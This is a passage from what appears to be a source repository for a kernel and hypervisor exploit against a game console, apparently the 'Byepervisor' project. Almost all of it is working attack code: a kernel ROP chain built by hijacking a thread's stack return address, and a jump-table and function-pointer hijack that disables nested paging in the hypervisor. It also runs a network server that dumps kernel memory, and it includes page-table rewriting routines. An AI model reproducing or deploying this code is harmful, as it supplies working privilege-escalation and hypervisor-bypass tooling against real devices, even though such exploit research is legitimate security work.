| { 52 | pid_t pid; 53 | uint64_t proc; 54 | uint64_t proc_p_thread; 55 | uint64_t next_thread; 56 | uint64_t thr_stack; 57 | char thr_name[0x100]; 58 | 59 | // Get process pid 60 | pid = getpid(); 61 | 62 | // Get proc 63 | proc = kernel_get_proc(pid); 64 | //SOCK_LOG("create_krop_chain: proc=0x%lx\n", proc); 65 | if (proc == 0) { 66 | //SOCK_LOG("create_krop_chain: proc is null\n"); 67 | return 0; 68 | } 69 | 70 | // Get thread 71 | kernel_copyout(proc + 0x10, &proc_p_thread, sizeof(proc_p_thread)); 72 | thr_stack = 0; 73 | 74 | for (;;) { 75 | //SOCK_LOG("create_krop_chain: thread=0x%lx\n", proc_p_thread); 76 | 77 | kernel_copyout(proc_p_thread + 0x010, &next_thread, sizeof(next_thread)); 78 | kernel_copyout(proc_p_thread + 0x294, &thr_name, sizeof(thr_name)); 79 | //SOCK_LOG("create_krop_chain: checking %s (next thread=0x%lx)\n", thr_name, next_thread); 80 | 81 | if (strncmp(thr_name, name, sizeof(thr_name)) == 0) { 82 | kernel_copyout(proc_p_thread + 0x470, &thr_stack, sizeof(thr_stack)); 83 | break; 84 | } 85 | 86 | if (next_thread == 0) { 87 | break; 88 | } 89 | 90 | proc_p_thread = next_thread; 91 | } 92 | 93 | //SOCK_LOG("create_krop_chain: found stack=0x%lx\n", thr_stack); 94 | return thr_stack; 95 | } 96 | 97 | struct krop_manage *create_krop_chain() 98 | { 99 | struct krop_manage *krop; 100 | 101 | // Create a krop object 102 | krop = (struct krop_manage *) malloc(sizeof(struct krop_manage)); 103 | //SOCK_LOG("create_krop_chain: krop=%p\n", krop); 104 | if (krop == NULL) { 105 | return NULL; 106 | } 107 | 108 | krop->done = 0; 109 | krop->core = -1; 110 | 111 | // Create a pipe pair to block the worker thread 112 | pipe2((int *) &krop->pipe_fds, 0); 113 | //SOCK_LOG("create_krop_chain: %d <-> %d\n", krop->pipe_fds[0], krop->pipe_fds[1]); 114 | 115 | // Create and run the thread to block 116 | pthread_create(&krop->thread, NULL, krop_worker_func, (void *) krop); 117 | pthread_set_name_np(krop->thread, "krop_worker"); 118 | 119 | // Find the thread 120 | krop->thread_kstack = find_thread_kstack("krop_worker"); 121 | 122 | // Wait a few seconds for thread to block 123 | sceKernelSleep(2); 124 | 125 | // Find the return address target (adjacent to two arguments) 126 | uint64_t stack_val; 127 | krop->kstack_ret_addr_offset = 0; 128 | for (int i = 0x3000; i < 0x4000; i += sizeof(uint64_t)) { 129 | kernel_copyout(krop->thread_kstack + i + 0x00, &stack_val, sizeof(stack_val)); 130 | 131 | if ((stack_val >> 32) == 0xFFFFFFFF) { 132 | kernel_copyout(krop->thread_kstack + i + 0x08, &stack_val, sizeof(stack_val)); 133 | if (stack_val == krop->tag1) { 134 | kernel_copyout(krop->thread_kstack + i + 0x10, &stack_val, sizeof(stack_val)); 135 | if (stack_val == krop->tag2) { 136 | //SOCK_LOG("create_krop_chain: found target return addr @ offset=0x%x\n", i); 137 | krop->kstack_ret_addr_offset = i; 138 | break; 139 | } 140 | } 141 | } 142 | } 143 | 144 | if (krop->kstack_ret_addr_offset == 0) { 145 | SOCK_LOG("create_krop_chain: return offset is zero, something's wrong\n"); 146 | } 147 | 148 | // Back up original return address and argument values 149 | kernel_copyout(krop->thread_kstack + krop->kstack_ret_addr_offset, &stack_val, sizeof(stack_val)); 150 | //SOCK_LOG("create_krop_chain: return addr = 0x%lx\n", stack_val); 151 | krop->kstack_orig_ret_addr = stack_val; 152 | 153 | kernel_copyout(krop->thread_kstack + krop->kstack_ret_addr_offset + 0x8, &stack_val, sizeof(stack_val)); 154 | krop->kstack_orig_arg = stack_val; 155 | 156 | // +0x1000 is safely past with the syscalls in-play 157 | krop->kstack_fake_stack_offset = 0x1000; 158 | krop->fake_stack_cur = (char *) &krop->fake_stack; 159 | 160 | return krop; 161 | } 162 | 163 | void krop_push(struct krop_manage *krop, uint64_t val) 164 | { 165 | *(uint64_t *) (krop->fake_stack_cur) = val; 166 | krop->fake_stack_cur += sizeof(val); 167 | } 168 | 169 | void krop_push_write8(struct krop_manage *krop, uint64_t dest, uint64_t val) 170 | { 171 | krop_push(krop, KROP_GADGET_POP_RDI); 172 | krop_push(krop, dest); 173 | krop_push(krop, KROP_GADGET_POP_RSI); 174 | krop_push(krop, val); 175 | krop_push(krop, KROP_GADGET_MOV_QWORD_PTR_RDI_RSI); 176 | } 177 | 178 | void krop_push_exit(struct krop_manage *krop) 179 | { 180 | // Write back original return addr where we hijacked stack pointer 181 | krop_push_write8( 182 | krop, 183 | krop->thread_kstack + krop->kstack_ret_addr_offset, 184 | krop->kstack_orig_ret_addr 185 | ); 186 | krop_push_write8( 187 | krop, 188 | krop->thread_kstack + krop->kstack_ret_addr_offset + 0x8, 189 | krop->kstack_orig_arg 190 | ); 191 | 192 | // Restore r12 193 | // krop_push(krop, KROP_GADGET_POP_R12); 194 | // krop_push(krop, 1337); 195 | 196 | // Reset stack pointer 197 | krop_push(krop, KROP_GADGET_POP_RSP); 198 | krop_push(krop, krop->thread_kstack + krop->kstack_ret_addr_offset); 199 | } 200 | 201 | void krop_push_infloop(struct krop_manage *krop) 202 | { 203 | SOCK_LOG("krop_push_infloop: WE ARE HANGING THE KROP THREAD, WARNING\n"); 204 | krop_push(krop, KROP_GADGET_INFLOOP); 205 | } 206 | 207 | void krop_copy_kernel(struct krop_manage *krop) 208 | { 209 | uint64_t fake_rsp; 210 | 211 | fake_rsp = krop->thread_kstack + krop->kstack_fake_stack_offset; 212 | kernel_copyin(&krop->fake_stack, fake_rsp, sizeof(krop->fake_stack)); 213 | } 214 | 215 | void krop_run(struct krop_manage *krop) 216 | { 217 | uint64_t fake_rsp; 218 | uint64_t fake_ret; 219 | char scratch_buf[0x1000]; 220 | 221 | krop_copy_kernel(krop); 222 | 223 | // Overwrite target return address with stack pivot and arg with fake RSP 224 | fake_rsp = krop->thread_kstack + krop->kstack_fake_stack_offset; 225 | kernel_copyin(&fake_rsp, krop->thread_kstack + krop->kstack_ret_addr_offset + 0x8, sizeof(fake_rsp)); 226 | 227 | fake_ret = KROP_GADGET_POP_RSP; 228 | kernel_copyin(&fake_ret, krop->thread_kstack + krop->kstack_ret_addr_offset, sizeof(fake_ret)); 229 | 230 | // Unblock the worker thread by writing expected size to pipe 231 | write(krop->pipe_fds[0], &scratch_buf, krop->tag2); 232 | 233 | while (krop->done == 0); 234 | } 235 | 236 | void krop_dump_fake_stack(struct krop_manage *krop, int in_kernel) 237 | { 238 | char dump_stack_buf[0x400]; 239 | 240 | SOCK_LOG("krop_dump_fake_stack: dumping fake stack (in kernel = %d)\n", in_kernel); 241 | 242 | if (in_kernel == 0) { 243 | for (int i = 0; i < 0x1000; i += 0x400) { 244 | DumpHex(&krop->fake_stack[i], 0x400); 245 | } 246 | } else { 247 | for (int i = 0; i < 0x1000; i += 0x400) { 248 | kernel_copyout(krop->thread_kstack + krop->kstack_fake_stack_offset + i, &dump_stack_buf, 0x400); 249 | DumpHex(dump_stack_buf, 0x400); 250 | } 251 | } 252 | } 253 | 254 | void krop_dump_real_stack(struct krop_manage *krop) 255 | { 256 | char dump_stack_buf[0x400]; 257 | 258 | SOCK_LOG("krop_dump_real_stack: dumping actual stack (+0x3000 to +0x4000)\n"); 259 | if (krop->thread_kstack != 0) { 260 | for (int i = 0; i < 0x1000; i += 0x400) { 261 | kernel_copyout(krop->thread_kstack + 0x3000 + i, &dump_stack_buf, 0x400); 262 | DumpHex(dump_stack_buf, 0x400); 263 | } 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /_old_jump_table_exploit/src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include 10 | 11 | #include "config.h" 12 | #include "debug_log.h" 13 | #include "kdlsym.h" 14 | #include "krop.h" 15 | #include "mirror.h" 16 | #include "notify.h" 17 | #include "paging.h" 18 | #include "util.h" 19 | 20 | struct kctx { 21 | uint64_t rbx; 22 | uint64_t rsp; 23 | uint64_t rbp; 24 | uint64_t r12; 25 | uint64_t r13; 26 | uint64_t r14; 27 | uint64_t r15; 28 | uint64_t ret; 29 | }; 30 | 31 | int g_debug_sock = -1; 32 | 33 | int sceKernelSleep(int secs); 34 | 35 | void dump_kernel_to_client(int client) 36 | { 37 | int write_ret; 38 | int num_text_pages; 39 | char data_buf[0x4000]; 40 | void *tmp_kernel_window; 41 | 42 | num_text_pages = (int) ((KERNEL_ADDRESS_DATA_BASE - ktext(0)) / 0x1000); 43 | SOCK_LOG("[+] Dumping kernel to client (.text pages = 0x%x)\n", num_text_pages); 44 | 45 | sceKernelSleep(2); 46 | 47 | // Dump text pages 48 | for (int i = 0; i < num_text_pages; i++) { 49 | tmp_kernel_window = mirror_page_no_store(ktext(0 + (i * 0x1000))); 50 | 51 | write_ret = write(client, tmp_kernel_window, 0x1000); 52 | if (write_ret < 0) { 53 | SOCK_LOG("[+] Failed to write a kernel page, returning\n"); 54 | return; 55 | } 56 | } 57 | 58 | // Dump data pages 59 | for (uint64_t i = 0; ; i += 0x4000) { 60 | kernel_copyout(KERNEL_ADDRESS_DATA_BASE + i, &data_buf, sizeof(data_buf)); 61 | write_ret = write(client, &data_buf, sizeof(data_buf)); 62 | if (write_ret < 0) 63 | break; 64 | } 65 | 66 | // SOCK_LOG("[+] dumping kernel to client\n"); 67 | // sceKernelSleep(2); 68 | 69 | // for (uint64_t i = 0; ; i += 0x1000) { 70 | // kernel_copyout(ktext(i), &debug_buf, sizeof(debug_buf)); 71 | // write_ret = write(client, &debug_buf, sizeof(debug_buf)); 72 | // if (write_ret < 0) 73 | // break; 74 | // } 75 | 76 | close(client); 77 | SOCK_LOG("[+] Done\n"); 78 | } 79 | 80 | int run_dump_server(int port) 81 | { 82 | int s; 83 | int client; 84 | struct sockaddr_in sockaddr; 85 | 86 | s = socket(AF_INET, SOCK_STREAM, 0); 87 | bzero(&sockaddr, sizeof(sockaddr)); 88 | 89 | sockaddr.sin_family = AF_INET; 90 | sockaddr.sin_port = htons(port); 91 | sockaddr.sin_addr.s_addr = INADDR_ANY; 92 | 93 | if (bind(s, (const struct sockaddr *) &sockaddr, sizeof(sockaddr)) < 0) { 94 | SOCK_LOG("[!] failed to bind server\n"); 95 | return -1; 96 | } 97 | 98 | if (listen(s, 5) < 0) { 99 | SOCK_LOG("[!] failed to listen on server\n"); 100 | return -1; 101 | } 102 | 103 | SOCK_LOG("[SRV] dump server is now running (port: %d)...\n", port); 104 | 105 | // Accept clients 106 | for (;;) { 107 | client = accept(s, 0, 0); 108 | SOCK_LOG("[SRV] accepted a client = %d\n", client); 109 | 110 | if (client > 0) { 111 | dump_kernel_to_client(client); 112 | } 113 | } 114 | 115 | return 0; 116 | } 117 | 118 | int main() 119 | { 120 | int ret; 121 | int debug_sock = -1; 122 | struct sockaddr_in addr; 123 | uint32_t *mirror_hv_jmptable_ent; 124 | 125 | // Open a debug socket if enabled 126 | if (PC_DEBUG_ENABLED) { 127 | debug_sock = socket(AF_INET, SOCK_STREAM, 0); 128 | if (debug_sock < 0) { 129 | return 0xDEAD0001; 130 | } 131 | 132 | inet_pton(AF_INET, PC_DEBUG_IP, &addr.sin_addr); 133 | addr.sin_family = AF_INET; 134 | addr.sin_len = sizeof(addr); 135 | addr.sin_port = htons(PC_DEBUG_PORT); 136 | 137 | ret = connect(debug_sock, (const struct sockaddr *) &addr, sizeof(addr)); 138 | if (ret < 0) { 139 | return 0xDEAD0002; 140 | } 141 | 142 | SOCK_LOG("[!] debug socket connected\n"); 143 | g_debug_sock = debug_sock; 144 | } 145 | 146 | // Do fw support check 147 | SOCK_LOG("[+] Detected FW: 0x%x\n", kernel_get_fw_version()); 148 | if (kdlsym(KERNEL_SYM_HV_JMP_TABLE) == 0) { 149 | SOCK_LOG("[!] FW 0x%x is not supported\n", kernel_get_fw_version()); 150 | return -1; 151 | } 152 | 153 | // Kernel ROP gadgets 154 | uint64_t hv_rop_chain[] = { 155 | 0x0, 156 | 157 | KROP_GADGET_POP_RAX, 158 | KROP_DATA_CAVE_SAVECTX + 0x28, 159 | KROP_GADGET_MOV_RAX_QWORD_PTR_RAX, // rax = [savectx + 0x28] = r14 160 | KROP_GADGET_POP_RDX, 161 | 0x8, 162 | KROP_GADGET_ADD_RAX_RDX, 163 | KROP_GADGET_MOV_RAX_QWORD_PTR_RAX, // rax = [r14 + 0x8] = VMCB 164 | KROP_GADGET_POP_RDX, 165 | 0x90, 166 | KROP_GADGET_ADD_RAX_RDX, // rax = VMCB->ctrl_90h (NP_ENABLE, GMET, SEV, etc.) 167 | KROP_GADGET_MOV_QWORD_PTR_RAX_0, // *rax = 0 168 | 169 | KROP_GADGET_POP_RDI, 170 | KROP_DATA_CAVE_SAVECTX + 0x38, // rdi = savectx + 0x38 171 | KROP_GADGET_POP_RSI, 172 | KROP_GADGET_RETURN_ADDR, 173 | KROP_GADGET_MOV_QWORD_PTR_RDI_RSI, // *(save_ctx + 0x38) = ret; 174 | KROP_GADGET_POP_RDI, 175 | KROP_DATA_CAVE_SAVECTX, // rdi = savectx 176 | KROP_GADGET_LONGJMP, // longjmp to return cleanly 177 | KROP_GADGET_INFLOOP, // jmp 0 178 | }; 179 | 180 | // Mirror map the hypervisor's jump table in kernel data 181 | mirror_hv_jmptable_ent = (uint32_t *) get_mirrored_addr(KROP_HV_JMP_TABLE_HYPERCALL_ENT); 182 | 183 | // Create context 184 | struct kctx ropctx; 185 | 186 | ropctx.rbx = 0; 187 | ropctx.rsp = KROP_DATA_CAVE_ROP_CHAIN; 188 | ropctx.rbp = 0; 189 | ropctx.r12 = 0; 190 | ropctx.r13 = 0; 191 | ropctx.r14 = 0; 192 | ropctx.r15 = 0; 193 | ropctx.ret = KROP_GADGET_RET; 194 | 195 | // Copy rop context and HV rop chain into kernel memory 196 | SOCK_LOG("[+] Copying in ROP ctx and chain\n"); 197 | kernel_copyin(&ropctx, KROP_DATA_CAVE_ROPCTX, sizeof(ropctx)); 198 | kernel_copyin(&hv_rop_chain, KROP_DATA_CAVE_ROP_CHAIN, sizeof(hv_rop_chain)); 199 | 200 | // Setup savectx area for popping into RSI register 201 | SOCK_LOG("[+] Writing RSI ptr\n"); 202 | kernel_write8(KROP_DATA_CAVE_RSI_PTR, KROP_DATA_CAVE_SAVECTX); 203 | 204 | // Backup original function pointer and hypercall jmp table offset 205 | SOCK_LOG("[+] Reading original function ptr for jop gadget 2\n"); 206 | uint64_t orig_fptr = kernel_read8(KROP_FUNC_PTR); 207 | SOCK_LOG(" [+] 0x%lx\n", orig_fptr); 208 | 209 | SOCK_LOG("[+] Reading original hypercall jmp table offset\n"); 210 | uint32_t orig_offset = *mirror_hv_jmptable_ent; 211 | SOCK_LOG(" [+] 0x%x\n", orig_offset) 212 | 213 | // Set function pointer hijack to longjmp and hypercall jmp table offset to JOP chain 214 | SOCK_LOG("[+] Replacing function with longjmp (0x%lx)\n", KROP_GADGET_LONGJMP); 215 | kernel_write8(KROP_FUNC_PTR, KROP_GADGET_LONGJMP); 216 | SOCK_LOG(" [+] 0x%lx\n", kernel_read8(KROP_FUNC_PTR)); 217 | 218 | SOCK_LOG("[+] Replacing offset with JOP gadget 1 (0x%lx)\n", KROP_JOP1_OFFSET_FROM_JMP_TABLE); 219 | *mirror_hv_jmptable_ent = KROP_JOP1_OFFSET_FROM_JMP_TABLE; 220 | SOCK_LOG(" [+] 0x%x\n", kernel_read4(KROP_HV_JMP_TABLE_HYPERCALL_ENT)); 221 | 222 | // Run a kernel ROP chain to kickstart vmmcall hijack 223 | struct krop_manage *krop = create_krop_chain(); 224 | 225 | // r9 = setjmp 226 | kernel_write8(KROP_DATA_CAVE + 0x1048, KROP_GADGET_SETJMP); 227 | krop_push(krop, KROP_GADGET_POP_RDI); 228 | krop_push(krop, KROP_DATA_CAVE + 0x1000); 229 | krop_push(krop, KROP_GADGET_POP_RAX); 230 | krop_push(krop, KROP_GADGET_RET); 231 | krop_push(krop, KROP_GADGET_MOV_R9_QWORD_PTR_RDI_48h); 232 | 233 | // rbx = ropctx 234 | krop_push(krop, KROP_GADGET_POP_RBX); 235 | krop_push(krop, KROP_DATA_CAVE_ROPCTX); 236 | 237 | // rsi = rsi ptr 238 | krop_push(krop, KROP_GADGET_POP_RSI); 239 | krop_push(krop, KROP_DATA_CAVE_RSI_PTR); 240 | 241 | // r12 = JOP 2 offset 242 | krop_push(krop, KROP_GADGET_POP_R12); 243 | krop_push(krop, KROP_JOP2_OFFSET_FROM_JMP_TABLE); 244 | 245 | // hypercall 246 | krop_push(krop, KROP_GADGET_HYPERCALL_SET_CPUID_PS4); 247 | 248 | // return cleanly 249 | krop_push(krop, KROP_GADGET_POP_R12); 250 | krop_push(krop, ktext(0x470BD50)); 251 | krop_push(krop, KROP_GADGET_RET); 252 | krop_push(krop, KROP_GADGET_RET); 253 | krop_push(krop, KROP_GADGET_RET); 254 | krop_push(krop, KROP_GADGET_RET); 255 | krop_push_exit(krop); 256 | 257 | // Run the ROP chain 258 | SOCK_LOG("[+] About to ROP (disable NPT/GMET in VMCB)...\n"); 259 | sceKernelSleep(1); 260 | 261 | krop_run(krop); 262 | 263 | // At this point, HV should be broken on the core we ROP'd on, restore original values 264 | SOCK_LOG("[+] Byepervisor :)\n"); 265 | SOCK_LOG("[+] Restoring hijacked function ptr\n"); 266 | kernel_write8(KROP_FUNC_PTR, orig_fptr); 267 | 268 | SOCK_LOG("[+] Restoring hijacked offset\n"); 269 | *mirror_hv_jmptable_ent = orig_offset; 270 | 271 | // We must pin to the same core we ran the ROP chain on, as the hypervisor is only broken on 272 | // that core. 273 | pin_to_core(krop->core); 274 | SOCK_LOG("[+] Pinned to core: 0x%x\n", get_cpu_core()); 275 | 276 | SOCK_LOG("[+] Hypervisor should be broken on core 0x%x (nested paging disabled)\n", get_cpu_core()); 277 | 278 | // Lets mirror kernel .text base :) 279 | void *ktext_test = (uint32_t *) get_mirrored_addr(ktext(0x2A66C0)); 280 | SOCK_LOG("[+] Mirrored kernel .text sys_getppid = %p (-> 0x%lx)\n", ktext_test, ktext(0x2A66C0)); 281 | 282 | DumpHex(ktext_test, 0x400); 283 | 284 | run_dump_server(9003); 285 | 286 | reset_mirrors(); 287 | return 0; 288 | } 289 | -------------------------------------------------------------------------------- /src/paging.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | extern "C" { 8 | #include 9 | } 10 | 11 | #include "debug_log.h" 12 | #include "kdlsym.h" 13 | #include "paging.h" 14 | 15 | uint64_t g_dmap_base = 0; 16 | 17 | uint64_t get_proc_pmap() 18 | { 19 | pid_t pid; 20 | uint64_t proc; 21 | uint64_t p_vmspace; 22 | uint64_t vm_pmap; 23 | 24 | // Get process pid 25 | pid = getpid(); 26 | 27 | // Get proc 28 | proc = kernel_get_proc(pid); 29 | //SOCK_LOG("get_proc_pmap: proc=0x%lx\n", proc); 30 | if (proc == 0) { 31 | //SOCK_LOG("get_proc_pmap: proc is null\n"); 32 | return 0; 33 | } 34 | 35 | // Get proc->p_vmspace 36 | kernel_copyout(proc + KERNEL_OFFSET_PROC_P_VMSPACE, &p_vmspace, sizeof(p_vmspace)); 37 | //SOCK_LOG("get_proc_pmap: vmspace=0x%lx\n", p_vmspace); 38 | if (p_vmspace == 0) { 39 | //SOCK_LOG("get_proc_pmap: vmspace is null\n"); 40 | return 0; 41 | } 42 | 43 | // Get vmspace->vm_pmap 44 | kernel_copyout(p_vmspace + KERNEL_OFFSET_VMSPACE_VM_PMAP, &vm_pmap, sizeof(vm_pmap)); 45 | //SOCK_LOG("get_proc_pmap: pmap=0x%lx\n", vm_pmap); 46 | if (vm_pmap == 0) { 47 | //SOCK_LOG("get_proc_pmap: pmap is null\n"); 48 | return 0; 49 | } 50 | 51 | return vm_pmap; 52 | } 53 | 54 | void init_dmap_resolve() 55 | { 56 | uint64_t DMPML4I; 57 | uint64_t DMPDPI; 58 | uint64_t PML4PML4I; 59 | 60 | kernel_copyout(kdlsym(KERNEL_SYM_DMPML4I), &DMPML4I, sizeof(int)); 61 | kernel_copyout(kdlsym(KERNEL_SYM_DMPDPI), &DMPDPI, sizeof(int)); 62 | kernel_copyout(kdlsym(KERNEL_SYM_PML4PML4I), &PML4PML4I, sizeof(int)); 63 | 64 | g_dmap_base = (DMPDPI << 30) | (DMPML4I << 39) | 0xFFFF800000000000; 65 | } 66 | 67 | uint64_t get_dmap_addr(uint64_t pa) 68 | { 69 | // Init dmap resolve if it's not initialized already 70 | if (g_dmap_base == 0) 71 | init_dmap_resolve(); 72 | 73 | return g_dmap_base + pa; 74 | } 75 | 76 | uint64_t pmap_kextract(uint64_t va) 77 | { 78 | uint64_t DMPML4I; 79 | uint64_t DMPDPI; 80 | uint64_t PML4PML4I; 81 | uint64_t dmap; 82 | uint64_t dmap_end; 83 | uint64_t pde_addr; 84 | uint64_t pte_addr; 85 | uint64_t pde; 86 | uint64_t pte; 87 | 88 | kernel_copyout(kdlsym(KERNEL_SYM_DMPML4I), &DMPML4I, sizeof(int)); 89 | kernel_copyout(kdlsym(KERNEL_SYM_DMPDPI), &DMPDPI, sizeof(int)); 90 | kernel_copyout(kdlsym(KERNEL_SYM_PML4PML4I), &PML4PML4I, sizeof(int)); 91 | 92 | dmap = (DMPDPI << 30) | (DMPML4I << 39) | 0xFFFF800000000000; 93 | dmap_end = ((DMPML4I +1 ) << 39) | 0xFFFF800000000000; 94 | 95 | if (dmap <= va && dmap_end > va) { 96 | return va - dmap; 97 | } 98 | 99 | pde_addr = ((PML4PML4I << 39) | (PML4PML4I << 30) | 0xFFFF800000000000) + 8 * ((va >> 21) & 0x7FFFFFF); 100 | 101 | kernel_copyout(pde_addr, &pde, sizeof(pde)); 102 | if (pde & 0x80) { 103 | return (pde & 0xFFFFFFFE00000) | (va & 0x1FFFFF); 104 | } 105 | 106 | pte_addr = ((va >> 9) & 0xFE0) + dmap + (pde & 0xFFFFFFFFFF000); 107 | kernel_copyout(pte_addr, &pte, sizeof(pte)); 108 | 109 | return (pte & 0xFFFFFFFFFF000) | (va & 0x3FFF); 110 | } 111 | 112 | uint64_t find_pml4e(uint64_t pmap, uint64_t va, uint64_t *out_pml4e) 113 | { 114 | uint64_t pml4e_addr; 115 | uint64_t pm_pml4; 116 | 117 | // Get pmap->pm_pml4 118 | kernel_copyout(pmap + KERNEL_OFFSET_PMAP_PM_PML4, &pm_pml4, sizeof(pm_pml4)); 119 | if (pm_pml4 == 0) { 120 | return 0xFFFFFFFFFFFFFFFFull; 121 | } 122 | //SOCK_LOG("pm_pml4 = 0x%lx\n", pm_pml4); 123 | 124 | // Calculate pml4 entry via index encoded in virtual addr 125 | pml4e_addr = pm_pml4 + (((va >> 39) & 0x1FF) * 8); 126 | 127 | // Copy pml4e out and return address of it 128 | kernel_copyout(pml4e_addr, (char *) out_pml4e, sizeof(uint64_t)); 129 | //SOCK_LOG("find_pml4e(0x%lx): pml4e addr = 0x%lx, pml4e = 0x%lx (rw: 0x%lx, nx: 0x%lx, user: 0x%lx, xo: 0x%lx)\n", 130 | // va, pml4e_addr, *out_pml4e, PDE_FIELD(*out_pml4e, RW), PDE_FIELD(*out_pml4e, EXECUTE_DISABLE), PDE_FIELD(*out_pml4e, USER), PDE_FIELD(*out_pml4e, XOTEXT)); 131 | return pml4e_addr; 132 | } 133 | 134 | uint64_t find_pdpe(uint64_t pmap, uint64_t va, uint64_t *out_pdpe) 135 | { 136 | uint64_t pdpe_addr; 137 | uint64_t pdp_table_pml4_entry; 138 | uint64_t pdp_table_dmap_addr; 139 | 140 | // Get pdp table address from pml4 entry 141 | if (find_pml4e(pmap, va, &pdp_table_pml4_entry) == 0xFFFFFFFFFFFFFFFFull) { 142 | return 0xFFFFFFFFFFFFFFFFull; 143 | } 144 | 145 | // Calculate pdp entry via index encoded in virtual addr 146 | pdp_table_dmap_addr = get_dmap_addr(PDE_ADDR(pdp_table_pml4_entry)); 147 | pdpe_addr = pdp_table_dmap_addr + (((va >> 30) & 0x1FF) * 8); 148 | 149 | // Copy pdpe out and return address of it 150 | kernel_copyout(pdpe_addr, (char *) out_pdpe, sizeof(uint64_t)); 151 | //SOCK_LOG("find_pdpe(0x%lx): pdpe addr = 0x%lx, pdpe = 0x%lx (rw: 0x%lx, nx: 0x%lx, user: 0x%lx, xo: 0x%lx)\n", 152 | // va, pdpe_addr, *out_pdpe, PDE_FIELD(*out_pdpe, RW), PDE_FIELD(*out_pdpe, EXECUTE_DISABLE), PDE_FIELD(*out_pdpe, USER), PDE_FIELD(*out_pdpe, XOTEXT)); 153 | return pdpe_addr; 154 | } 155 | 156 | uint64_t find_pde(uint64_t pmap, uint64_t va, uint64_t *out_pde) 157 | { 158 | uint64_t pde_addr; 159 | uint64_t pd_table_pdp_entry; 160 | uint64_t pd_table_dmap_addr; 161 | 162 | // Get pd table address from pdp entry 163 | if (find_pdpe(pmap, va, &pd_table_pdp_entry) == 0xFFFFFFFFFFFFFFFFull) { 164 | return 0xFFFFFFFFFFFFFFFFull; 165 | } 166 | 167 | // Calculate pd entry via index encoded in virtual addr 168 | pd_table_dmap_addr = get_dmap_addr(PDE_ADDR(pd_table_pdp_entry)); 169 | pde_addr = pd_table_dmap_addr + (((va >> 21) & 0x1FF) * 8); 170 | 171 | // Copy pde out and return address of it 172 | kernel_copyout(pde_addr, (char *) out_pde, sizeof(uint64_t)); 173 | //SOCK_LOG("find_pde(0x%lx): pde addr = 0x%lx, pde = 0x%lx (rw: 0x%lx, nx: 0x%lx, user: 0x%lx, xo: 0x%lx)\n", 174 | // va, pde_addr, *out_pde, PDE_FIELD(*out_pde, RW), PDE_FIELD(*out_pde, EXECUTE_DISABLE), PDE_FIELD(*out_pde, USER), PDE_FIELD(*out_pde, XOTEXT)); 175 | return pde_addr; 176 | } 177 | 178 | uint64_t find_pte(uint64_t pmap, uint64_t va, uint64_t *out_pte) 179 | { 180 | uint64_t pte_addr; 181 | uint64_t page_table_pde_entry; 182 | uint64_t page_table_dmap_addr; 183 | 184 | // Get page table address from pde entry 185 | if (find_pde(pmap, va, &page_table_pde_entry) == 0xFFFFFFFFFFFFFFFFull) { 186 | return 0xFFFFFFFFFFFFFFFFull; 187 | } 188 | 189 | // Calculate pt entry via index encoded in virtual addr 190 | page_table_dmap_addr = get_dmap_addr(PDE_ADDR(page_table_pde_entry)); 191 | pte_addr = page_table_dmap_addr + (((va >> 12) & 0x1FF) * 8); 192 | 193 | // Copy pte out and return address of it 194 | kernel_copyout(pte_addr, (char *) out_pte, sizeof(uint64_t)); 195 | //SOCK_LOG("find_pte(0x%lx): pte addr = 0x%lx, pte = 0x%lx (rw: 0x%lx, nx: 0x%lx, user: 0x%lx, xo: 0x%lx)\n", 196 | // va, pte_addr, *out_pte, PDE_FIELD(*out_pte, RW), PDE_FIELD(*out_pte, EXECUTE_DISABLE), PDE_FIELD(*out_pte, USER), PDE_FIELD(*out_pte, XOTEXT)); 197 | return pte_addr; 198 | } 199 | 200 | int downgrade_kernel_superpages(uint64_t va, uint64_t kernel_pt_addr) 201 | { 202 | uint64_t kernel_pmap; 203 | uint64_t pde_addr; 204 | uint64_t pde; 205 | uint64_t new_pte; 206 | uint64_t new_pt_pa; 207 | uint64_t cur_pa; 208 | 209 | // Get kernel pmap 210 | kernel_pmap = kdlsym(KERNEL_SYM_PMAP_STORE); 211 | 212 | // Get the PDE of the address and check if it actually is a superpage 213 | pde_addr = find_pde(kernel_pmap, va, &pde); 214 | if (pde_addr == 0xFFFFFFFFFFFFFFFFull) { 215 | SOCK_LOG("downgrade_kernel_superpages: va = 0x%lx, could not find PDE\n", va); 216 | return -1; 217 | } 218 | 219 | if (PDE_FIELD(pde, PS) != 1) { 220 | SOCK_LOG("downgrade_kernel_superpages: va = 0x%lx is not a superpage\n", va); 221 | return -1; 222 | } 223 | 224 | SOCK_LOG("downgrade_kernel_superpages: va = 0x%lx, downgrading to small pages\n", va); 225 | 226 | cur_pa = pde & PDE_ADDR_MASK; 227 | 228 | // Construct PTEs 229 | for (int i = 0; i < 512; i++) { 230 | new_pte = 0; 231 | SET_PDE_FIELD(new_pte, RW, PDE_FIELD(pde, RW)); 232 | SET_PDE_FIELD(new_pte, USER, PDE_FIELD(pde, USER)); 233 | SET_PDE_FIELD(new_pte, DIRTY, PDE_FIELD(pde, DIRTY)); 234 | SET_PDE_FIELD(new_pte, GLOBAL, PDE_FIELD(pde, GLOBAL)); 235 | SET_PDE_FIELD(new_pte, XOTEXT, PDE_FIELD(pde, PROTECTION_KEY)); 236 | SET_PDE_FIELD(new_pte, EXECUTE_DISABLE, PDE_FIELD(pde, EXECUTE_DISABLE)); 237 | SET_PDE_ADDR(new_pte, cur_pa); 238 | SET_PDE_BIT(new_pte, PRESENT); 239 | 240 | kernel_copyin(&new_pte, kernel_pt_addr + (i * 0x8), sizeof(new_pte)); 241 | cur_pa += 0x1000; 242 | } 243 | 244 | // Get the physical address of the newly created page table 245 | new_pt_pa = pmap_kextract(kernel_pt_addr); 246 | 247 | // Update PDE 248 | SET_PDE_BIT(pde, RW); 249 | CLEAR_PDE_BIT(pde, PS); 250 | CLEAR_PDE_BIT(pde, GLOBAL); 251 | CLEAR_PDE_BIT(pde, XOTEXT); 252 | SET_PDE_ADDR(pde, new_pt_pa); 253 | 254 | SOCK_LOG("downgrade_kernel_superpages: updating PDE @ 0x%lx to 0x%lx\n", pde_addr, pde); 255 | kernel_copyin(&pde, pde_addr, sizeof(pde)); 256 | 257 | return 0; 258 | } 259 | 260 | uint64_t remap_page(uint64_t pmap, uint64_t va, uint64_t new_pa) 261 | { 262 | uint64_t pde_addr; 263 | uint64_t 